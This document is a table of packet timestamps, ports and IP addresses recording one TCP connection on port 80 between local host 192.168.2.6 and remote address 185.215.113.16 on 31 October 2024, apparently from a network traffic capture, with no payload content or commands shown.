Oct 31, 2024 01:19:22.043446064 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043452978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043473959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043482065 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043483973 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043492079 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043498039 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043509960 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043510914 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043541908 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043548107 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043559074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043565035 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043571949 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043591976 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043610096 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043620110 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043653965 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043788910 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043801069 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043817043 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043827057 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043828964 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043837070 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043838978 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043842077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043848038 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043854952 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043859005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043869972 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043884993 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043886900 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043895960 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043904066 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043908119 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043915033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043926001 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043929100 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043936968 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043946028 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043948889 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043960094 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043967009 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043976068 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043987036 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043988943 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043998003 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.044008970 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.044018030 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.044019938 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.044034004 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.044059038 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078234911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078249931 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078263044 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078274012 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078284979 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078291893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078294992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078310013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078322887 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078334093 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078334093 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078344107 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078356028 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078357935 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078366995 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078377962 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078380108 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078389883 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078397036 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078401089 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078421116 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078447104 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078459978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078469992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078480959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078491926 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078497887 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078504086 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078521013 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078541040 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078658104 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078677893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078689098 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078700066 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078735113 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078746080 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078756094 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078783989 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078870058 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078907013 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.078960896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.078970909 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079005003 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079022884 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079035044 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079061031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079083920 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079253912 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079265118 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079272032 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079277992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079288006 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079299927 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079302073 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079318047 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079334021 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079338074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079349995 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079359055 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079365015 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079370022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079371929 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079375029 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079385996 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079396009 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079413891 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079435110 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079464912 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079476118 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079485893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079499960 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079503059 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079514980 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079524040 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079528093 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079535961 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079549074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079551935 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079575062 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079582930 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079601049 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079611063 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079622030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079637051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079643965 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079670906 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079901934 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079942942 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.079948902 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079960108 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.079987049 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080128908 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080138922 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080148935 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080159903 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080166101 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080173016 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080182076 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080183029 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080213070 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080223083 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080251932 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080259085 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080262899 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080288887 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080297947 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080343962 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080354929 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080365896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080375910 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080380917 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080385923 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080394983 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080395937 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080411911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080426931 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080439091 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080463886 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080478907 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080491066 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080501080 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080513954 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080517054 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080526114 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080540895 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080549955 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080573082 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080584049 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080586910 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080620050 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080621958 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080630064 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080641985 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080656052 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080682039 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080739021 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080749035 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.080776930 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.080996990 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081034899 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081114054 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081125021 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081135035 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081156015 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081178904 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081348896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081374884 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081384897 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081387043 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081413984 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081434011 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081444979 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081455946 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081470966 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081495047 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081525087 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081564903 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081609964 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081646919 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081675053 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081713915 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081752062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081763029 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081773043 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081789017 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081789970 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081803083 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081804991 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081820011 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081825018 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081831932 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081841946 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081851959 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081880093 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081923008 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081933022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081948996 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081958055 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081959963 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.081969976 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.081983089 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082010984 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082024097 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082036018 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082046986 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082062960 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082087994 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082139015 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082149029 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082164049 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082180023 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082180977 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082191944 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082192898 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082202911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082206964 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082212925 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082220078 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082221031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082228899 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082242012 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082251072 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082251072 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082283020 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082309961 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082320929 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082340002 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082346916 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082370996 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082381964 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082407951 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082418919 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082427979 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.082444906 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.082458973 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.154972076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155000925 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155014038 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155025959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155031919 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155039072 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155051947 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155062914 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155062914 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155075073 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155101061 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155111074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155112028 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155119896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155133009 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155143023 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155143023 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155154943 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155162096 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155165911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155177116 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155189037 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155236006 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155253887 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155263901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155272961 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155283928 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155293941 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155294895 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155307055 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155308008 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155325890 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155339003 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155349016 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155359030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155368090 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155369043 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155383110 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155409098 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155433893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155445099 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155455112 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155467033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155477047 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155488014 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155515909 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155560970 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155570984 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155581951 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155597925 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155599117 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155608892 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155625105 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155649900 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155657053 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155661106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155669928 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155706882 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155733109 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155767918 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155803919 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155819893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155832052 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155858040 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.155965090 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155976057 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.155987978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156001091 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156007051 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156013012 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156023026 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156043053 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156080008 CET	49998	80	192.168.2.6	185.215.113.16
